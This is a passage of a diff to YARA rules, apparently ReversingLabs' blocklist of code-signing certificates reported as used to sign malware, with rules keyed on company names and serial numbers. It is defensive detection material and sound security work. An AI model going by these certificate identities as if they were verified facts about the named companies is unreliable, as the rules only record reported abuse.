REVERSINGLABS_Cert_Blocklist_Ff52Eb011Bb748Fee75153Cbe1E50Dd6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TASK ANNA LIMITED" and ( pe.signatures [ i ] . serial == "00:ff:52:eb:01:1b:b7:48:fe:e7:51:53:cb:e1:e5:0d:d6" or pe.signatures [ i ] . serial == "ff:52:eb:01:1b:b7:48:fe:e7:51:53:cb:e1:e5:0d:d6" ) and 1647388800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MADAS d.o.o." and pe.signatures [ i ] . serial == "07:bb:6a:9d:1c:64:2c:59:73:c1:6d:53:53:b1:7c:a4" and 1601856001 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_84A4A0D0657E217B176B455E2465Aee0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A1Dc99E4D5264C45A5090F93242A30A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1484a28d-ce7c-506f-8cbb-73ac541a0907" + id = "9b85ed8d-ddda-51d0-bfac-5cdc6e4fd94f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11784-L11802" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5788-L5804" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "92f6e90bd21182bece68ac1651105f96a18c5b1497d30e0040a978e349341bdb" + logic_hash = "1985c9c4f4a93c3088eaec3031df93cf87a9d7ee36b94322330caf3c21982f3c" score = 75 quality = 90 tags = "INFO, FILE" @@ -22853,21 +45247,21 @@ rule REVERSINGLABS_Cert_Blocklist_84A4A0D0657E217B176B455E2465Aee0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AATB ApS" and ( pe.signatures [ i ] . serial == "00:84:a4:a0:d0:65:7e:21:7b:17:6b:45:5e:24:65:ae:e0" or pe.signatures [ i ] . serial == "84:a4:a0:d0:65:7e:21:7b:17:6b:45:5e:24:65:ae:e0" ) and 1616457600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "K & D KOMPANI d.o.o." and pe.signatures [ i ] . serial == "0a:1d:c9:9e:4d:52:64:c4:5a:50:90:f9:32:42:a3:0a" and 1600905601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B8F726508Cf1D7B7913Bf4Bbd1E5C19C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_018093Cfad72Cdf402Eecbe18B33Ec71 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "eb441b57-0f28-5609-b987-157e1f026b0c" + id = "d9ab2e5c-a107-53c1-9b8d-b4625eed03b0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11804-L11822" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5806-L5822" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ec05c7e41e309aff00ae819c63f5bdc8e4172c611779da345efd211e48c9efb1" + logic_hash = "ac398ef89e691158742598777c320832a750a7410904448778afc7ef3c63c255" score = 75 quality = 90 tags = "INFO, FILE" @@ -22877,21 +45271,21 @@ rule REVERSINGLABS_Cert_Blocklist_B8F726508Cf1D7B7913Bf4Bbd1E5C19C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Merkuri LLC" and ( pe.signatures [ i ] . serial == "00:b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c" or pe.signatures [ i ] . serial == "b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c" ) and 1619568000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FAT11 d.o.o." and pe.signatures [ i ] . serial == "01:80:93:cf:ad:72:cd:f4:02:ee:cb:e1:8b:33:ec:71" and 1602000390 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6A241Ffe96A6349Df608D22C02942268 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_569E03988Af60D80Ce60728940850D9B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8a8decfe-c91a-562c-9376-462cab598373" + id = "a4432990-8c2f-523c-8a9d-cba578aaefc5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11824-L11840" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5824-L5842" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "79db8be7ca3ed80eb1e3a9401e8fec2b83da8b95b16789ed0b59bb7f4639a94d" + logic_hash = "3ea894d9e088c2123f9ec87cbf097e2275fae18cad26e926641fe64921808b1e" score = 75 quality = 90 tags = "INFO, FILE" @@ -22901,21 +45295,21 @@ rule REVERSINGLABS_Cert_Blocklist_6A241Ffe96A6349Df608D22C02942268 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HELP, d.o.o." and pe.signatures [ i ] . serial == "6a:24:1f:fe:96:a6:34:9d:f6:08:d2:2c:02:94:22:68" and 1605052800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OORT inc." and ( pe.signatures [ i ] . serial == "00:56:9e:03:98:8a:f6:0d:80:ce:60:72:89:40:85:0d:9b" or pe.signatures [ i ] . serial == "56:9e:03:98:8a:f6:0d:80:ce:60:72:89:40:85:0d:9b" ) and 1601006510 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Aa1D84779792B57F91Fe7A4Bde041942 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_418F6D959A8A0F82Bef07Ceba3603E52 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8ec25296-2e51-53ec-a2f5-a25961079c27" + id = "ecfb72ef-04c4-55b6-b9e0-e95053e03425" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11842-L11860" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5844-L5862" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "682af8c799acaca531724c5b3184b855e64ec4531fcc333a485ba2f63331cdae" + logic_hash = "6c13c5e85d6e053319193d1d94f216eeec64405c86d15971419078a1ce6c8ac9" score = 75 quality = 90 tags = "INFO, FILE" @@ -22925,21 +45319,21 @@ rule REVERSINGLABS_Cert_Blocklist_Aa1D84779792B57F91Fe7A4Bde041942 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AXIUM NORTHWESTERN HYDRO INC." and ( pe.signatures [ i ] . serial == "00:aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42" or pe.signatures [ i ] . serial == "aa:1d:84:77:97:92:b5:7f:91:fe:7a:4b:de:04:19:42" ) and 1639872000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OORT inc." and ( pe.signatures [ i ] . serial == "00:41:8f:6d:95:9a:8a:0f:82:be:f0:7c:eb:a3:60:3e:52" or pe.signatures [ i ] . serial == "41:8f:6d:95:9a:8a:0f:82:be:f0:7c:eb:a3:60:3e:52" ) and 1601928240 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3C98B6872Fbb1F4Ae37A4Caa749D24C2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5378C5Bbeba0D3309A35Bb47F63037F7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f4cc9c94-eb96-5380-9e12-cab5ec010ab8" + id = "7f367505-d7c1-5b8c-83bd-df3fec789d12" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11862-L11878" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5864-L5882" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c534ad306f85e12eca2336e998120deb4ba8d0d63b8331986ec7fe4ac69ba65a" + logic_hash = "a96acf93ca6da4d3bf5177b51996825cd3ea70443577622deccdd11fde579c31" score = 75 quality = 90 tags = "INFO, FILE" @@ -22949,21 +45343,21 @@ rule REVERSINGLABS_Cert_Blocklist_3C98B6872Fbb1F4Ae37A4Caa749D24C2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO SMART" and pe.signatures [ i ] . serial == "3c:98:b6:87:2f:bb:1f:4a:e3:7a:4c:aa:74:9d:24:c2" and 1613370100 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OORT inc." and ( pe.signatures [ i ] . serial == "00:53:78:c5:bb:eb:a0:d3:30:9a:35:bb:47:f6:30:37:f7" or pe.signatures [ i ] . serial == "53:78:c5:bb:eb:a0:d3:30:9a:35:bb:47:f6:30:37:f7" ) and 1601427420 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E4E795Fd1Fd25595B869Ce22Aa7Dc49F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Bab6A2Aa84B495D9E554A4C42C0126D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9c6d2be7-093c-5ce2-83af-6ab9b46603bc" + id = "7b6d364c-3e27-5314-b604-d44bb408fc4e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11880-L11898" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5884-L5900" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ced47bd69b58de9e6b2aa7518ccceca088884acb79c0803c3defe6b115a0abb6" + logic_hash = "79b6df421c78fd3e2f05a60f7d875e02519297a0278614c9f63dff8b1b2a2d18" score = 75 quality = 90 tags = "INFO, FILE" @@ -22973,21 +45367,21 @@ rule REVERSINGLABS_Cert_Blocklist_E4E795Fd1Fd25595B869Ce22Aa7Dc49F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OASIS COURT LIMITED" and ( pe.signatures [ i ] . serial == "00:e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f" or pe.signatures [ i ] . serial == "e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f" ) and 1608508800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NOSOV SP Z O O" and pe.signatures [ i ] . serial == "0b:ab:6a:2a:a8:4b:49:5d:9e:55:4a:4c:42:c0:12:6d" and 1597971600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E953Ada7E8F1438E5F7680Ff599Ae43E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6314001C3235Cd59Bcc3F5278C518804 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2bce88d4-24e6-59e5-ae02-5284ec43cfa4" + id = "aff0fb76-587b-5493-810c-ac32a6ba9576" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11900-L11918" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5902-L5918" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7cb7d77abefd35f0756c5aa0983f7403cca4cbacd94dcc6b510c929bc96c8309" + logic_hash = "4320f3884c0f7e4939e8988a4e83b8028a5e01fb425ae4faa2273134db835813" score = 75 quality = 90 tags = "INFO, FILE" @@ -22997,21 +45391,21 @@ rule REVERSINGLABS_Cert_Blocklist_E953Ada7E8F1438E5F7680Ff599Ae43E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KULBYT LLC" and ( pe.signatures [ i ] . serial == "00:e9:53:ad:a7:e8:f1:43:8e:5f:76:80:ff:59:9a:e4:3e" or pe.signatures [ i ] . serial == "e9:53:ad:a7:e8:f1:43:8e:5f:76:80:ff:59:9a:e4:3e" ) and 1614729600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GIE-MUTUALISTE" and pe.signatures [ i ] . serial == "63:14:00:1c:32:35:cd:59:bc:c3:f5:27:8c:51:88:04" and 1600304400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_28C57Df09Ce7Cc3Fde2243Beb4D00101 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Ed8Ade5D73B73Dade6943D557Ff87E5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "63e2edab-11a4-55ba-b042-c88b6d2750a5" + id = "dbfae40c-2f81-5daf-8655-d06ae38ffa8f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11920-L11936" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5920-L5936" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "84402dc0a58fca36424d8d6d13c60b80342bb3792f4e32e23878530264358726" + logic_hash = "7796b6e7da900be8634e7f1e51cda1275ab1e7c2709af7ecaa8777ab0b518494" score = 75 quality = 90 tags = "INFO, FILE" @@ -23021,21 +45415,21 @@ rule REVERSINGLABS_Cert_Blocklist_28C57Df09Ce7Cc3Fde2243Beb4D00101 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "WATER, s.r.o." and pe.signatures [ i ] . serial == "28:c5:7d:f0:9c:e7:cc:3f:de:22:43:be:b4:d0:01:01" and 1622678400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rumikon LLC" and pe.signatures [ i ] . serial == "0e:d8:ad:e5:d7:3b:73:da:de:69:43:d5:57:ff:87:e5" and 1597885200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2D8Cfcf04209Dc7F771D8D18E462C35A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0292C7D574132Ba5C0441D1C7Ffcb805 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5ce5c076-87de-50f0-9fa1-a3efef8dd7f8" + id = "ef58cf01-9c54-5dbb-99a7-d3ca42663133" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11938-L11954" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5938-L5954" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2b784e46268d78046365400ef914d7ca673503c93962d0b0740ca2ac9faf7857" + logic_hash = "d2bcf72f4c5829d161bc40e820eb0b1a85deaa49b749422d5429e27b7fb2b1fe" score = 75 quality = 90 tags = "INFO, FILE" @@ -23045,21 +45439,21 @@ rule REVERSINGLABS_Cert_Blocklist_2D8Cfcf04209Dc7F771D8D18E462C35A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AA PLUS INVEST d.o.o." and pe.signatures [ i ] . serial == "2d:8c:fc:f0:42:09:dc:7f:77:1d:8d:18:e4:62:c3:5a" and 1631491200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TES LOGISTIKA d.o.o." and pe.signatures [ i ] . serial == "02:92:c7:d5:74:13:2b:a5:c0:44:1d:1c:7f:fc:b8:05" and 1602183720 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_016836311Fc39Fbb8E6F308Bb03Cc2B3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1F23F001458716D435Cca1A55D660Ec5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2c4061e8-0b8e-5c33-a746-6557449b17ed" + id = "16614e20-1cf1-55c0-a04c-d99c06fb29a2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11956-L11972" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5956-L5972" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c5f6372a207d02283840e745619e93194d954eedff7bae34aadcb645b1cb78fc" + logic_hash = "bacfb4b7900ab57d23474e0422bd74fff113296b8db37e8eae3bd456443d28d6" score = 75 quality = 90 tags = "INFO, FILE" @@ -23069,21 +45463,21 @@ rule REVERSINGLABS_Cert_Blocklist_016836311Fc39Fbb8E6F308Bb03Cc2B3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SERVICE STREAM LIMITED" and pe.signatures [ i ] . serial == "01:68:36:31:1f:c3:9f:bb:8e:6f:30:8b:b0:3c:c2:b3" and 1602547200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Ringen" and pe.signatures [ i ] . serial == "1f:23:f0:01:45:87:16:d4:35:cc:a1:a5:5d:66:0e:c5" and 1603176940 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_435Abf46053A0A445C54217A8C233A7F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6E0Ccbdfb4777E10Ea6221B90Dc350C2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "538d7405-be17-519e-beb5-fbef3beaedd3" + id = "64007bd7-b273-5579-8224-68337f1bc54d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11974-L11990" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5974-L5990" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "839f55e8fe7a86aad406e657fdef48925543b5d3884927104fd3786444a8fccc" + logic_hash = "08a1ff7cc3a7680fdbb3235a7b46709cd4ba530a9afeab4344671db9fe893cc4" score = 75 quality = 90 tags = "INFO, FILE" @@ -23093,21 +45487,21 @@ rule REVERSINGLABS_Cert_Blocklist_435Abf46053A0A445C54217A8C233A7F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Kodemika" and pe.signatures [ i ] . serial == "43:5a:bf:46:05:3a:0a:44:5c:54:21:7a:8c:23:3a:7f" and 1616976000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TRAUMALAB INTERNATIONAL APS" and pe.signatures [ i ] . serial == "6e:0c:cb:df:b4:77:7e:10:ea:62:21:b9:0d:c3:50:c2" and 1603046620 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B2F9C693A2E6634565F63C79B01Dd8F8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0Ed1847A2Ae5D71Def1E833Fddd33D38 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c094666a-0bb3-5cb6-82a8-3074b9eed32b" + id = "11fd3bbe-5d15-57b7-a461-fc9c90046dbc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11992-L12010" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5992-L6008" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f5ec67c082be21a2495ef90fd0a6d4fc4b1379c4903dcc051d39cf1913d5cf20" + logic_hash = "0ec5eb8ff1f630284fabfba5c58dd563d471343ace718f79dad08cfe75c3070d" score = 75 quality = 90 tags = "INFO, FILE" @@ -23117,21 +45511,21 @@ rule REVERSINGLABS_Cert_Blocklist_B2F9C693A2E6634565F63C79B01Dd8F8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PHL E STATE ApS" and ( pe.signatures [ i ] . serial == "00:b2:f9:c6:93:a2:e6:63:45:65:f6:3c:79:b0:1d:d8:f8" or pe.signatures [ i ] . serial == "b2:f9:c6:93:a2:e6:63:45:65:f6:3c:79:b0:1d:d8:f8" ) and 1620000000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SNAB-RESURS, OOO" and pe.signatures [ i ] . serial == "0e:d1:84:7a:2a:e5:d7:1d:ef:1e:83:3f:dd:d3:3d:38" and 1598662800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_54A6D33F73129E0Ef059Ccf51Be0C35E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_97Df46Acb26B7C81A13Cc467B47688C8 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1cf2bda8-05e6-5f0a-a28a-2f5fa02775c9" + id = "68e2fdc7-61cd-5e0a-8bc7-5e0ca96271c5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12012-L12028" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6010-L6028" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6fbed9c8537ea2baeb58044a934fc9741730b8a3ae4d059c23b033973d7ff7d3" + logic_hash = "6f6e0e175caee83eaec2dacedaf564b642195a8815cfd0d4564f581070b0c545" score = 75 quality = 90 tags = "INFO, FILE" @@ -23141,21 +45535,21 @@ rule REVERSINGLABS_Cert_Blocklist_54A6D33F73129E0Ef059Ccf51Be0C35E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STAFFORD MEAT COMPANY, INC." and pe.signatures [ i ] . serial == "54:a6:d3:3f:73:12:9e:0e:f0:59:cc:f5:1b:e0:c3:5e" and 1607100127 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Information Civilized System Oy" and ( pe.signatures [ i ] . serial == "00:97:df:46:ac:b2:6b:7c:81:a1:3c:c4:67:b4:76:88:c8" or pe.signatures [ i ] . serial == "97:df:46:ac:b2:6b:7c:81:a1:3c:c4:67:b4:76:88:c8" ) and 1602636910 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_142Aac4217E22B525C8587589773Ba9B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_186D49Fac34Ce99775B8E7Ffbf50679D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "488be2f7-e3d4-51e3-b7bb-142caa7b2bd5" + id = "9279d4ee-3f53-5d68-aaa1-af6ed579310f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12030-L12046" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6030-L6046" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f169925c27f5e0f8d5f658b83d1b9fa4548c4443b16bd4d7f87aa2b8e44bf06b" + logic_hash = "0444a5052ee384451ebd85918bbc6bf6d6a75334899a63a8b5828ef06cb9c7ca" score = 75 quality = 90 tags = "INFO, FILE" @@ -23165,21 +45559,21 @@ rule REVERSINGLABS_Cert_Blocklist_142Aac4217E22B525C8587589773Ba9B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "A.B. gostinstvo trgovina posredni\\xC5\\xA1tvo in druge storitve, d.o.o." and pe.signatures [ i ] . serial == 